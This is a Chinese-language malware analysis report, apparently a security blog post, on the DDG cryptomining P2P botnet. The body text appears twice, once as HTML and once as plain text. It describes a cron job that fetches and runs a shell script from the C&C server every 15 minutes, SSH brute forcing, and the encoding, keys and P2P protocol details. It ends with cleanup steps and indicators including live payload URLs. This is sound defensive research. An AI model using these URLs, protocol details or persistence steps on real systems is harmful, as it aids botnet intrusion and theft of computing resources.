用样本中硬编码的种子数据生成的。</p><h3 id="2-5-"><strong><strong>2.5 监控关键文件/目录</strong></strong></h3><p>DDG 利用 <a href="https://github.com/fsnotify/fsnotify"><strong>fsnotify</strong></a> 框架监控以下文件，在运行期间防止被别的进程改动，用以保护自己的持久化配置：</p><ul><li><code>/root/.ssh/authorized_keys</code></li><li><code>/var/spool/cron/root</code></li><li><code>/var/spool/cron/crontabs/root</code></li></ul><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/monitor_fs-1.png" class="kg-image" alt loading="lazy"></figure><h2 id="3-p2p-"><strong>3. P2P 机制</strong></h2><p>DDG 执行完上述关键步骤，DDG Bot 就开始了与其他 Bot 之间的 P2P 通信。DDG 的 P2P 机制特性如下：</p><ul><li>Peers 首先会向 xhub 注册</li><li>Peers 之间有特有的 Ping/Pong 机制</li><li>Peers 之间可以共享各自持有的 C&C 和 Peers 列表数据；</li><li>Peers 之间可以传播 <strong>slave</strong> config 和 <strong>jobs</strong> config 数据；</li><li>Peers 之间可以传播其他 Payload 或组件，比如恶意挖矿程序、已编译的 Busybox 二进制文件</li></ul><h3 id="3-1-"><strong>3.1 准备工作</strong></h3><p>在进行 P2P 通信之前，DDG 会有两项关键的准备工作：</p><ul><li>生成一个随机域名</li><li>生成自己的 Peer UID</li></ul><p>随机域名的的生成规则是：<code><RAND 3 LowChars>.<RAND [5-7] Lowchars>.com</code>， 如 <code>kez.tirueg.com</code> 。</p><p>UID 的形式： <code>VERSION_NUM.UID_HASH</code> ，如 <code>5023.dd9b2f57af3be6b6276606d4f37e4a5b</code> 。</p><p><strong>UID_HASH</strong> 的生成规则，则是综合计算 Host information 和 网卡信息的 MD5 值得出， Go 语言实现如下：</p><p><a href="https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v1/lib/util.go#L40">https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v1/lib/util.go#L40</a></p><h3 id="3-2-peer-xhub"><strong>3.2 Peer <--> xhub</strong></h3><p>DDG 会首先向 xhub 如下 HTTP POST 请求：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/xhub_jobs-1.png" class="kg-image" alt loading="lazy"></figure><p>以上 HTTP 通信中，</p><ul><li>Request Header <strong>Host</strong>，即为事先随即生成的域名。值得一提的是，<strong>这个域名不会被 DNS 服务解析，因为以上 HTTP 通信是复用了已建立的 TCP Socket Session，在已有 TCP Socket 连接上 Send/Recv 数据并把数据用 HTTP 协议来解析而已</strong>。攻击者这样做，可能是为了逃避或混淆某些安全设备的流量检测；</li><li>Request Header <strong>X-Hub</strong>，即为 DDG 样本当前持有的硬编码在样本中的 xhub 信息，详见 2.2.2 节；</li><li>Request Header <strong>X-Port</strong>，即为 DDG 样本当前随即开启并监听的 P2P 通信端口；</li><li>Request Header <strong>X-Uid</strong>，即事先生成的 UID；</li><li>Request Header <strong>X-Relay</strong>，是 DDG 综合 <strong>X-Uid</strong> 和 <strong>X-Port</strong> 字段的值通过 <strong>Adler</strong> 算法算出来的校验值；</li><li>Response Header <strong>X-Seed</strong>，是对方从自己持有的 Peers 列表中随机选取的 20 个 Peers 地址列表信息，DDG 样本收到后会合入自身持有的 200 个 Peers 列表，总数不超过 200；</li><li>Response Header <strong>X-Hub</strong>，是对方持有的 <strong>xhub</strong> 信息，DDG 样本收到后会用它替换掉自身持有的 <strong>xhub</strong> 信息。</li></ul><p>最后，HTTP 响应中的 <strong>jobs</strong> config 数据，是经过 msgpack 序列化编码后又用 AES 加密过的数据，数据的组织结构与 gzip 解压后的样本内置弱口令字典数据相同，解析过程也完全相同。最新解密后的 <strong>jobs</strong> config 数据见：</p><p><strong><a href="https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/jobs.json">https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/jobs.json</a></strong></p><p>从 <strong>jobs</strong> Config 的内容来看，攻击者对 Bot 的行为控制的更为复杂精细，该配置文件的核心功能在流程图里已有说明，此处总结如下：</p><ul><li>针对每个低级版本 DDG 都有不同的处理，或 Kill 或 Discard 或 Upgrade；</li><li>引入了 Busybox 执行更复杂的命令，主要用来干掉竞争对手；</li><li>干掉竞争对手的姿势复杂多样，杀进程、禁用服务、清除 SSH Key、删除 Cron Jobs，重置 Lock File 等等，最显眼的是通过篡改 <code>/etc/hosts</code> 文件屏蔽一大批竞争对手需要访问的域名。</li></ul><p>其中，最显眼的一部分配置，是 DDG 通过篡改 <code>/etc/hosts</code> 文件屏蔽竞争对手要访问的域名，大多数都是 <a href="https://twitter.com/hashtag/LSDMiner"><strong>LSDMiner</strong></a> 和 <a href="https://twitter.com/hashtag/systemdMiner"><strong>systemdMiner</strong></a> 相关的域名：</p><pre><code>LSDMiner img.sobot.com
LSDMiner lsdu.b-cdn.net
LSDMiner thyrsi.com
LSDMiner aliyun.one
systemdMiner an7kmd2wp4xo7hpr.onion.sh
systemdMiner an7kmd2wp4xo7hpr.tor2web.su
systemdMiner aptgetgxqs3secda.onion.ly
systemdMiner aptgetgxqs3secda.onion.pet
systemdMiner dns.rubyfish.cn
systemdMiner aptgetgxqs3secda.onion.in.net
systemdMiner aptgetgxqs3secda.tor2web.fyi
systemdMiner an7kmd2wp4xo7hpr.d2web.org
systemdMiner an7kmd2wp4xo7hpr.timesync.su
</code></pre><h3 id="3-3-peer-peer"><strong>3.3 Peer <--> Peer</strong></h3><p>在与 <strong>xhub</strong> 通信过后，DDG 样本就开始与自身持有的 200 个 Peers 进行通信。 Peers 之间的通信有 4 个关键步骤：</p><ol><li>Ping/Pong</li><li>拉取对方的 <strong>slave</strong> config 和 <strong>jobs</strong> config；</li><li>拉取对方的其他恶意组件，比如恶意矿机程序和 Busybox 二进制程序；</li><li>响应(服务)别的 Peers 的以上 3 种请求</li></ol><h4 id="3-3-1-ping-pong"><strong>3.3.1 Ping/Pong</strong></h4><p>DDG 一旦成功与某个 Peer 建立连接，会至少经过 2 轮 Ping/Pong 通信，间隔 <strong>30s</strong> ，对端响应的 Pong 包与 Ping 包完全相同，长度为 <strong>3 Bytes</strong>：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/peer_pingpong-1.png" class="kg-image" alt loading="lazy"></figure><p>3 Bytes 的 Ping 包生成规则如下：</p><ul><li>第 1 字节为 0x00；</li><li>第 3 字节在 (0, 0xFF] 中随机产生；</li><li>第 2 字节为第 3 字节与 <strong>0x42</strong> XOR 运算的结果。</li></ul><p>Go 语言代码描述如下：</p><pre><code>// Generate ping packet bytes
func GenPingbytes(globalRand *rand.Rand) []byte {
pkt := make([]byte, 3)
pkt[0] = 0x00
pkt[2] = byte((globalRand.Intn(0xFE) + 1) & 0xFF)
pkt[1] = (pkt[2] ^ 0x42) & 0xFF
return pkt
}</code></pre><h4 id="3-3-2-slave-jobs-config-data"><strong>3.3.2 传播 slave/jobs config data</strong></h4><p>经过 2 轮的 Ping/Pong 通信，DDG 会随机选成功通信的 Peers 向对方请求拉取 <strong>slave</strong> config 或 <strong>jobs</strong> config，请求方式类似于上面向 <strong>xhub</strong> 请求 <strong>jobs</strong> config，以拉取对方 <strong>slave</strong> config 为例：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/request_slave-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/slave_resp-1.png" class="kg-image" alt loading="lazy"></figure><p>值得注意的两点：</p><ol><li>DDG Peers 之间发送 HTTP Post 请求，HTTP Request Header 中相比请求 <strong>xhub</strong> 时少了一个 <strong>X-Port</strong>。</li><li>发往 Peer 的 HTTP 请求，<strong>复用了前面 Ping/Pong 通信中用到的 TCP 连接</strong>，即同一个 TCP Session，刚开始用来 Ping/Pong 交互，后面直接基于这个 TCP Session 发送 HTTP 请求、接收 HTTP 响应，所以 HTTP Header 中 <strong>Host</strong> 字段里<strong>随机生成的域名并不会经过 DNS 解析</strong>。</li></ol><p>对端响应的 <strong>slave</strong> config 数据，是经 msgpack 序列化编码过的二进制数据，数据格式与旧版本变化不大，解码方式可以参考 <a href="https://jiayu0x.com/2019/04/11/track-ddg-botnet-by-p2p-protocol/#2-3-ddg-%E7%9A%84%E4%BA%91%E7%AB%AF%E9%85%8D%E7%BD%AE%E6%95%B0%E6%8D%AE"><strong>以 P2P 的方式追踪 DDG</strong></a> 。最新解码后的 <strong>slave</strong> config 数据已上传到 Github：</p><p><strong><a href="https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/slave.json">https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/slave.json</a></strong></p><p>解码后的 <strong>slave</strong> config 数据包含自身数据的数字签名，DDG 样本会以此校验 <strong>slave</strong> config 数据，校验时用到的 RSA 公钥硬编码在样本中：</p><pre><code>-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1+/izrOGcigBPC+oXnr2
S3JI76iXxqn7e9ONAmNS+m5nLQx2g0GW44TFtMHhDp1lPdUIui1b1odu36i7Cf0g
31vdYi1i6nGfXiI7UkHMsLVkGkxEknNL1c1vv0qE1b2i2o4TlcXHKHWOPu4xrpYY
m3Fqjni0n5+cQ8IIcVyjkX7ON0U1n8pQKRWOvrsPhO6tvJnLckK0P1ycGOcgNiBm
sdA5WDjw3sg4xWCQ9EEpMeB0H1UF/nv7AZQ0etncMxhiWoBxamuPWY/KS3wZStUd
gsMBOAOOpnbxL9N+II7uquQQkMmO6HriXRmjw14OmSBEoEcFMWF2j/0HPVasOcx2
xQIDAQAB
-----END PUBLIC KEY-----
</code></pre><h4 id="3-3-3-"><strong>3.3.3 下载恶意组件</strong></h4><p>没有被选中拉取 <strong>slave</strong> config 和 <strong>jobs</strong> config 的 Peer，DDG 会继续与他们的 Ping/Pong 通信。从某个 Peer 拉取的 <strong>slave</strong> config 中指定了恶意矿机程序 Miner 的下载 URI、本地存放路径和 MD5，DDG 接下来会随机选取另一个 Ping/Pong 中的 Peer，<strong>复用 Ping/Pong 的 TCP Session</strong>，通过 HTTP 协议向其发起 Miner 的下载请求：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/04/download_miner-1.png" class="kg-image" alt loading="lazy"></figure><p>下载到的恶意矿机程序，DDG 不仅会将其存放到 <strong>slave</strong> config 中指定的本地路径，还会连同 HTTP Response Header 中的 <strong>X-Sig</strong> 内容作为矿机程序的数字签名数据一起放到自己创建的<strong>工作目录</strong>中：</p><pre><code>/var/lib/.jsfc
├── 5023
│ └── cache
│ └── static
│ ├── bb3
│ │ ├── busybox.x86_64
│ │ └── busybox.x86_64.sig
│ ├── wordpress
│ └── wordpress.sig
└── .local
</code></pre><p>DDG 从 Peer 下载已编译的 Busybox 程序的过程同上。</p><h4 id="3-3-4-peers-"><strong>3.3.4 响应其他 Peers 的请求</strong></h4><p>P2P 协议中，Peers 之间的功能、角色是对等的。DDG 样本既然可以从其他 Peer 那里拉取数据和文件，自然也可以响应其他 Peer 的对等请求。</p><p>当 Peer 来请求 <strong>slave</strong> config或 <strong>jobs</strong> config 时，DDG 样本会从内存中整理好一份自己持有的数据，经过与前面阐述的解码、解密相反的编码、加密处理，返回给 Peer。</p><p>当 Peer 来请求下载矿机程序(比如上面的 <strong>wordpress</strong> 文件)或已编译好的 Busybox 程序时，DDG 样本会检查自己的<strong>工作目录</strong>的 <strong>cache</strong> 子目录中是否已经缓存了相应文件，如果缓存了相应文件并且签名有效，就会返回给 Peer。</p><p>另外的问题是，很多 DDG 控制的失陷主机都在内网，不一定可以穿透 NAT 对外提供这种服务。所以跟踪程序无法通过 P2P 机制跟踪到所有的 Bot。</p><h4 id="3-3-5-peers-proxy-"><strong>3.3.5 Peers 之间的 Proxy 特性</strong></h4><p>DDG 的 P2P 机制中，还有一个有意思的特性：Peer 的 Proxy 功能。</p><p>当某个 Peer 来请求下载矿机程序或 Busybox 程序时，如果 DDG 经过检查发现自己工作目录中暂时不存在相应文件，它就会把自己作为一个 Proxy，向自己成功连接的其他 Peer 随机发送相应的下载请求。如果成功下载，就会返回给向自己请求下载文件的 Peer。</p><h2 id="4-"><strong>4. 总结</strong></h2><p>DDG 经过两年多的发展，从最初简单的挖矿木马，到借用第三方协议框架构建简单的 P2P 网络，到现在自研 P2P 协议，已经演化成了一个复杂的 P2P 僵尸网络。可能这是第一个 P2P 结构的挖矿僵尸网络。如果你怀疑自己的主机被 DDG 入侵，建议从以下几个方面排查、处置：</p><ol><li>检查 <code>/var/spool/cron/root</code> 和 <code>/var/spool/cron/crontabs/root</code> 是否存在恶意 Cron Jobs</li><li>检查 <code>~/.ssh/authorized_keys</code> 文件中是否存在恶意 SSH Public Key</li><li>检查 <code>/var/lib/</code> , <code>/usr/local/</code> 目录下的隐藏目录，是否存在 DDG 工作目录</li><li>检查 <code>/usr/bin/</code>, <code>/usr/local/bin/</code> 目录下是否存在可疑 ELF 文件</li><li>检查 <code>/etc/hosts</code> 文件是否被写入恶意内容</li></ol><h2 id="5-iocs"><strong>5. IoCs</strong></h2><p>C&C:</p><pre><code>67.205.168.20:8000
</code></pre><p>URLs:</p><pre><code>http://67.205.168.20:8000/i.sh
http://67.205.168.20:8000/static/wordpress
http://67.205.168.20:8000/static/bb3/busybox.x86_64
http://67.205.168.20:8000/static/bb3/busybox.i686
</code></pre><p>MD5s:</p><pre><code>5e2e0564ee03c743b50e4798c1041cea 5009/ddgs.i686
ea3d5d224ed7474159936f727db7555d 5009/ddgs.x86_64
05d7e2c36d5c58b26b00ca80ee7d8abe 5012/ddgs.i686
38fb3221d43d743a0de12d494ad60669 5012/ddgs.x86_64
91217bdbcc9f5663aac47b9fe803d4c7 5013/ddgs.i686
02e645c3bdd84d7a44b7aefc0f6d9e74 5013/ddgs.x86_64
5f4587df10ba4b3e7b46eb8b46d249bd 5014/ddgs.i686
e956e5b97cd0b73057980d735ee92974 5014/ddgs.x86_64
8e44e7a361c4d91c670072e049e6d729 5015/ddgs.i686
7f87c72701576da704056b38f6fae1ce 5015/ddgs.x86_64
6c164f25cabbcdc112192b1409ae73c5 5016/ddgs.i686
f84a0180ebf1596df4e8e8b8cfcedf63 5016/ddgs.x86_64
c2480ce231cc84130d878cb42bd072dd 5017/ddgs.i686
c8b416b148d461334ae52aa75c5bfa79 5017/ddgs.x86_64
66cd0c4c13670c32f43b0fd3304b0bf6 5018/ddgs.i686
dc87e9c91503cc8f2e8e3249cd0b52d7 5018/ddgs.x86_64
58c9a8561584dd1b70fbcb68b458f293 5019/ddgs.i686
682f839c1097af5fae75e0c5c39fa054 5019/ddgs.x86_64
28b2ee07f7a611d353efd8e037973bca 5020/ddgs.i686
495dfc4ba85fac2a93e7b3f19d12ea7d 5020/ddgs.x86_64
ffe204b87c5713733d5971e7479c0830 5021/ddgs.i686
d2a81a0284cdf5280103bee06d5fe928 5021/ddgs.x86_64
e2430bbeb49a11bfa30c6b01a28362c7 5022/ddgs.i686
e64b247d4cd9f8c58aedc708c822e84b 5022/ddgs.x86_64
d3a203cb0aa963529c0e4f8eccbf8c56 5023/ddgs.i686
2c4b9d01d2f244bb6530b48df99d04ae 5023/ddgs.x86_64
d146612bed765ba32200e0f97d0330c8 miner_1
d146612bed765ba32200e0f97d0330c8 miner_2</code></pre> | 1. 概述
DDG Mining Botnet 是一个活跃已久的挖矿僵尸网络，其主要的盈利方式是挖 XMR。从 2019.11 月份至今，我们的 Botnet 跟踪系统监控到 DDG Mining Botnet 一直在频繁跟新，其版本号和对应的更新时间如下图所示：
其中，v4005~v4011 版本最主要的更新是把以前以 Hex 形式硬编码进样本的 HubList 数据，改成了 Gob 序列化的方式；v5009 及以后的版本，则摒弃了以前基于 Memberlist 来构建 P2P 网络的方式，改用自研的 P2P 协议来构建混合模式 P2P 网络 。简化的网络结构如下：
右边服务器是 C&C Server，DDG 中称它为 xhub 节点，是一个超级节点，除了与各 Bot 相同的 P2P 通信功能之外，还具有以下功能：
* 统计各 Peer 信息( Peer 会向它注册，上传自身信息)
* 协助各 Peer 寻找到对方，xhub 节点里保存了大量的 P2P Peers 列表，它会在 Bot 向其注册的时候把一部分列表分享给 Bot；而每个 Bot 最多保存 200 条 Peers <ip:port> 列表；
* 承载原始的恶意 Shell 脚本、主样本和其他组件的下载服务。
我们的 Botnet 跟踪系统追踪到 DDG 当前的 一部分 P2P Nodes(失陷主机)，最近每天平均可以追踪到 900 个 Nodes，其中可验证存活的比例达 98%:
根据我们合作伙伴提供的统计数字，中国大陆境内活跃的 Bot 有17,590 个。根据我们的追踪数据，中国大陆境内的 Bot 数量约占总量的 86%，以此反推，DDG 目前在全球范围内的 Bot 数量约 20,000。
DDG 支持的传播途径，有以下 4 个：
* SSH 服务暴破；
* Redis 未授权访问漏洞；
* 针对 Nexus Repository Manager 3 RCE 漏洞(CVE-2019-7238)的利用；
* 针对 Supervisord RCE 漏洞(CVE-2017-11610)的利用。
根据我们的追踪数据，DDG 最近一段时间一直没有开启公网传播，而只利用 SSH 暴破在内网传播。其内网传播的开关，在 slave config 里设置：
另外，根据我们对 DDG 过去一年的追踪统计，它从 2019.1 月份至今共用了 24 个 C&C，每个 CC 的活跃时段统计如下：
最后，旧版本的 DDG Botnet Tracker 已经无法工作，我们现已将其开源：
https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v1
并且公开最新版本 DDG 相关的运行日志、相关数据和相应解析工具，以及一个基于 P2P 机制的 Pre-Built Demo Tracker Program(ELF Binary file):
https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v2
2. 样本关键行为分析
就 DDG 当前最新的 v5023 版本来看，DDG 有一些有趣的新特性：
* 用特定算法生成一个 4 字符的目录名，并在 /var/lib/ 或 /usr/local/ 下创建相应的隐藏目录作为工作目录，存放本地配置信息和从 C&C 或 P2P Peer 下载到的文件或数据；
* 自定义 Base64 编码的编码表(Alphabet)；
* 对关键数据和文件频繁使用编码(Base64/Adler32)、加密(AES)、压缩(Gzip)和数字签名(RSA/ED25519)手段，以对抗分析和数据伪造；
* 除了以前的 slave Config 来控制 Bot 执行挖矿和传播任务，又新增了一个 jobs Config 文件来对 Bot 进行更复杂的任务控制；
* 自研 P2P 协议，并以此在 Nodes 之间交换最新各自持有的 C&C、Nodes 列表和恶意任务指令配置等信息，还可以在 Peers 之间传播恶意组件。
以 DDG v5023 版本的样本为例，其主要的执行流程，从恶意 Shell 脚本文件 i.sh 开始，如下所示：
2.1 恶意 Shell 脚本 i.sh
DDG 每成功入侵一台主机，就会先执行这个 i.sh 脚本。 i.sh 主要执行 3 个任务：
1. 篡改 Cron job，在 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 写入恶意 Cron job，每 15 分钟下载 hxxp://67.205.168.20:8000/i.sh 并运行；
2. 下载并执行最新的 DDG 主样本文件；
3. 检测目录 /usr/local/bin/ | /usr/libexec/ | /usr/bin/ 是否可写。
2.2 初始化
DDG 的主样本由 Go 语言编写，编译出来的原始 ELF 文件体积比较大。DDG 的作者就用 UPX Packer 把原始 ELF 文件加壳，一方面一定程度上可以对抗自动化分析，另一方面缩小了文件体积，便于网络传输。
DDG 的主样本里实现了多个工作模块，有一些后续用到的数据和全局变量，涉及相应的初始化工作。比如生成全局自定义 Alphabet 的 Base64 编解码句柄，解析样本内硬编码的 xhub(C&C) 相关数据和 xSeeds(P2P Seed Nodes List) 数据，解析样本内硬编码的弱口令字典(用于后续的 SSH 服务暴破)等等。
2.2.1 自定义 Alphabet 的 Base64 编码
在函数 ddgs_common_init 中，DDG 基于自定义的 Alphabet 创建了一个全局的 Base64 编解码句柄：
自定义的 Alphabet 为：
"eDy54SH1N2s-Y7g3qnurvaTW_0BlCMJhfb6wtdGUcROXPAV9KEzIpFoi8xLjkmZQ"
生成的全局 Base64 编解码句柄，会在后续被用来：
* 解析内置硬编码的 xhub 和 xSeeds 数据；
* 解析后续从服务器下载到的文件 Sig、与 P2P Nodes 通信时的自定义 HTTP Header(X-Hub / X-Seed / X-Sig)
* 响应其他 P2P Peer 的请求时，编码自定义 HTTP Header(X-Hub / X-Seed / X-Sig)
2.2.2 解析内置 xhub/xSeeds
在 DDG 中，xSeeds 就是 P2P Seed Nodes 列表，每个 Bot 都持有一份 Seed Nodes List，里面内置了 200 个 P2P Node <ip:port> 列表。Bot 可以与他们通信交换数据。
xhub 即 C&C 服务器信息，C&C 服务器可以指定多个。
在函数 ddgs_xnet_init_0 中，DDG 解析了内置的 xhub 和 xSeeds 数据，还对 xhub 数据用 ed25519 算法校验是否被伪造。xhub 的解析、验证汇编代码如下：
DDG v5023 样本中内置的 xhub 数据为经过自定义 Alphabet Base64 编码过的字串：
fOSIE4y3ZPcTuT7weiMSSr7-0-Vem5IfTxEbUirWGS9j5NsDJh2k54RsnK08lG-ECaHQ4ARiWy3mJs0O9HzBpP6iANY7cTHnPw_i-wNK7u8E7wfVYweLg5eKYe
经过 Base64 解码后，还需要用 msgPack 进行一层解码，才能得到 xhub 的原始明文数据。解析上面的编码数据，可以得到两个关键数据：
* C&C 列表，目前只有一个：67.205.168.20:8000；
* ed25519 Signature：
0x8f, 0xfa, 0xca, 0x16, 0x49, 0x63, 0x63, 0x03, 0x77, 0x45, 0x15, 0x33, 0x4b, 0x64, 0xbb, 0x80,
0xf4, 0x3c, 0xe0, 0x5b, 0x9c, 0x61, 0x9f, 0x74, 0xd7, 0x98, 0x5b, 0xfb, 0x0c, 0x82, 0x81, 0x79,
0xf2, 0x7c, 0x0c, 0x4a, 0x4a, 0x47, 0x06, 0x78, 0x6e, 0x62, 0xf1, 0x71, 0x51, 0xbf, 0x12, 0xda,
0x77, 0x5c, 0x23, 0xfd, 0x78, 0xa6, 0x6a, 0xbc, 0x6c, 0x9a, 0xd2, 0xc8, 0xb7, 0xb4, 0x83, 0x0d
样本中解出 C&C 列表和 ed25519 的 Signature 之后，就会用相反的步骤用 ed25519 算法来校验 C&C 列表是否被伪造。校验时用到的 RSA 公钥为：
0x20, 0x0A, 0x51, 0x81, 0x91, 0xE9, 0xF2, 0x54,
0x78, 0xFC, 0x1E, 0x66, 0x7B, 0x8F, 0x8D, 0xAC,
0xCF, 0x62, 0x28, 0x18, 0x46, 0xEC, 0x45, 0x7C,
0xF5, 0xC3, 0xBA, 0x4C, 0x86, 0xB0, 0xB5, 0x41
xhub 数据的解析方法：
https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/xsig_verify.go
xSeeds 包含 200 条 P2P Node <ip:port> 列表，数据量比较大，共 0x8E2 Bytes：
而且 DDG 样本对 xSeeds 解析步骤与 xhub 的解析略有不同，经过分析，xSeeds 经过以下 3 层处理，而不用 ed25519 校验：
1. msgpack 序列化编码；
2. gzip 压缩
3. 自定义 Alphabet 的 Base64 编码
xSeeds 数据的解析方法：
https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/dec_seeds.go
2.2.3 解析内置弱口令字典
在全局初始化函数 ddgs_global_init 中，DDG 调用了一个函数 ddgs_global_decodePasswords ，在这个函数中解密并校验内置的弱口令字典，这些弱口令将在后续传播阶段被用来暴破 SSH 服务(暴破 SSH 服务时用的用户名为 root )：
弱口令数据是经过 AES 加密、gzip 压缩后内置在样本中的，密文数据共 0x2BCFE Bytes：
DDG 会首先对上面数据用 gzip 解压，解压后密文数据结构如下：
DDG 会先用 ed25519 对上述密文数据的 Sha256 值进行校验(公钥与前面校验 xhub 时用的公钥相同)，校验成功之后才会用 AES 算法将其解密，解密后得到一份 17,907 条密码的弱口令字典:
2.2.4 创建全局 ed25519 密钥对
在函数 ddgs_global_init 中，DDG 还有另外一项关键全局变量的初始化工作：创建一对全局 ed25519 密钥，用以在后续存取 BoltDB 中数据时对数据进行签名和校验：
创建密钥对的种子如下：
0x5C, 0x9E, 0xAE, 0xAE, 0x43, 0x26, 0xB7, 0xA2,
0x52, 0xDC, 0x43, 0xF9, 0xBD, 0x3F, 0xD1, 0xA6,
0xC8, 0xB0, 0x28, 0xE1, 0xDF, 0xA8, 0xB0, 0xF5,
0xCF, 0x43, 0xE7, 0x82, 0xD1, 0x90, 0x11, 0x6B
2.3 创建工作目录
旧版本的 DDG 会直接把当前用户的 HOME 目录作为自己的工作目录，主要是在此目录下创建隐藏的 BoltDB 文件，文件中存放 Hublist 数据(旧版本的 P2P Node List)。现在新版本的 DDG 会用特定算法生成目录名，并在 /var/lib/ 或 /usr/local/ 目录下创建相应的隐藏目录。Go 语言实现的工作目录名生成算法如下(假设当前 DDG 二进制样本文件的路径为 /root/ddgs_x64)：
https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/gen_workdir_name.go
上面程序的执行结果是 jsfc ，那么 DDG 就会尝试创建目录 /var/lib/.jsfc，后续工作目录的结构如下：
/var/lib/.jsfc
├── 5023
│ └── cache
│ └── static
│ ├── bb3
│ │ ├── busybox.x86_64
│ │ └── busybox.x86_64.sig
│ ├── wordpress
│ └── wordpress.sig
└── .local
其中 .local 文件即为 BoltDB 格式的文件，其它的还有从 C&C 服务器上下载到的恶意挖矿程序(wordpress) 、编译好的 Busybox ELF 文件以及它们相应的数字签名。
2.4 BoltDB 文件
BoltDB 是一个基于内存的小型 KV 数据库，其数据内容可以落地到磁盘文件。DDG 旧版本中用 BoltDB 来存放明文 Hublist 数据。在 DDG 最新的 BoltDB 数据库中，有一个 Bucket 名为 xproxy。xproxy 里存放了 3 份数据：
1. hubsig: xhub 信息；
2. seeds: xSeeds 数据；
3. port: 本地在 (30000~65535) 范围内随机监听的 TCP 端口，用来相应其他 P2P Nodes 的通信请求。
DDG 对这 3 份数据，每一份都做了如前文内置弱口令字典数据同样的处理，经过 msgpack 序列化编码后再用 AES 加密，重组加密数据后再存入 BoltDB。重组的密文数据结构也与弱口令字典密文数据结构相同:
不同的是，DDG 对 BoltDB 中数据的签名和校验用到的全局密钥，是函数 ddgs_global_init 用样本中硬编码的种子数据生成的。
2.5 监控关键文件/目录
DDG 利用 fsnotify 框架监控以下文件，在运行期间防止被别的进程改动，用以保护自己的持久化配置：
* /root/.ssh/authorized_keys
* /var/spool/cron/root
* /var/spool/cron/crontabs/root
3. P2P 机制
DDG 执行完上述关键步骤，DDG Bot 就开始了与其他 Bot 之间的 P2P 通信。DDG 的 P2P 机制特性如下：
* Peers 首先会向 xhub 注册
* Peers 之间有特有的 Ping/Pong 机制
* Peers 之间可以共享各自持有的 C&C 和 Peers 列表数据；
* Peers 之间可以传播 slave config 和 jobs config 数据；
* Peers 之间可以传播其他 Payload 或组件，比如恶意挖矿程序、已编译的 Busybox 二进制文件
3.1 准备工作
在进行 P2P 通信之前，DDG 会有两项关键的准备工作：
* 生成一个随机域名
* 生成自己的 Peer UID
随机域名的的生成规则是：<RAND 3 LowChars>.<RAND [5-7] Lowchars>.com， 如 kez.tirueg.com 。
UID 的形式： VERSION_NUM.UID_HASH ，如 5023.dd9b2f57af3be6b6276606d4f37e4a5b 。
UID_HASH 的生成规则，则是综合计算 Host information 和 网卡信息的 MD5 值得出， Go 语言实现如下：
https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v1/lib/util.go#L40
3.2 Peer <--> xhub
DDG 会首先向 xhub 如下 HTTP POST 请求：
以上 HTTP 通信中，
* Request Header Host，即为事先随即生成的域名。值得一提的是，这个域名不会被 DNS 服务解析，因为以上 HTTP 通信是复用了已建立的 TCP Socket Session，在已有 TCP Socket 连接上 Send/Recv 数据并把数据用 HTTP 协议来解析而已。攻击者这样做，可能是为了逃避或混淆某些安全设备的流量检测；
* Request Header X-Hub，即为 DDG 样本当前持有的硬编码在样本中的 xhub 信息，详见 2.2.2 节；
* Request Header X-Port，即为 DDG 样本当前随即开启并监听的 P2P 通信端口；
* Request Header X-Uid，即事先生成的 UID；
* Request Header X-Relay，是 DDG 综合 X-Uid 和 X-Port 字段的值通过 Adler 算法算出来的校验值；
* Response Header X-Seed，是对方从自己持有的 Peers 列表中随机选取的 20 个 Peers 地址列表信息，DDG 样本收到后会合入自身持有的 200 个 Peers 列表，总数不超过 200；
* Response Header X-Hub，是对方持有的 xhub 信息，DDG 样本收到后会用它替换掉自身持有的 xhub 信息。
最后，HTTP 响应中的 jobs config 数据，是经过 msgpack 序列化编码后又用 AES 加密过的数据，数据的组织结构与 gzip 解压后的样本内置弱口令字典数据相同，解析过程也完全相同。最新解密后的 jobs config 数据见：
https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/jobs.json
从 jobs Config 的内容来看，攻击者对 Bot 的行为控制的更为复杂精细，该配置文件的核心功能在流程图里已有说明，此处总结如下：
* 针对每个低级版本 DDG 都有不同的处理，或 Kill 或 Discard 或 Upgrade；
* 引入了 Busybox 执行更复杂的命令，主要用来干掉竞争对手；
* 干掉竞争对手的姿势复杂多样，杀进程、禁用服务、清除 SSH Key、删除 Cron Jobs，重置 Lock File 等等，最显眼的是通过篡改 /etc/hosts 文件屏蔽一大批竞争对手需要访问的域名。
其中，最显眼的一部分配置，是 DDG 通过篡改 /etc/hosts 文件屏蔽竞争对手要访问的域名，大多数都是 LSDMiner 和 systemdMiner 相关的域名：
LSDMiner img.sobot.com
LSDMiner lsdu.b-cdn.net
LSDMiner thyrsi.com
LSDMiner aliyun.one
systemdMiner an7kmd2wp4xo7hpr.onion.sh
systemdMiner an7kmd2wp4xo7hpr.tor2web.su
systemdMiner aptgetgxqs3secda.onion.ly
systemdMiner aptgetgxqs3secda.onion.pet
systemdMiner dns.rubyfish.cn
systemdMiner aptgetgxqs3secda.onion.in.net
systemdMiner aptgetgxqs3secda.tor2web.fyi
systemdMiner an7kmd2wp4xo7hpr.d2web.org
systemdMiner an7kmd2wp4xo7hpr.timesync.su
3.3 Peer <--> Peer
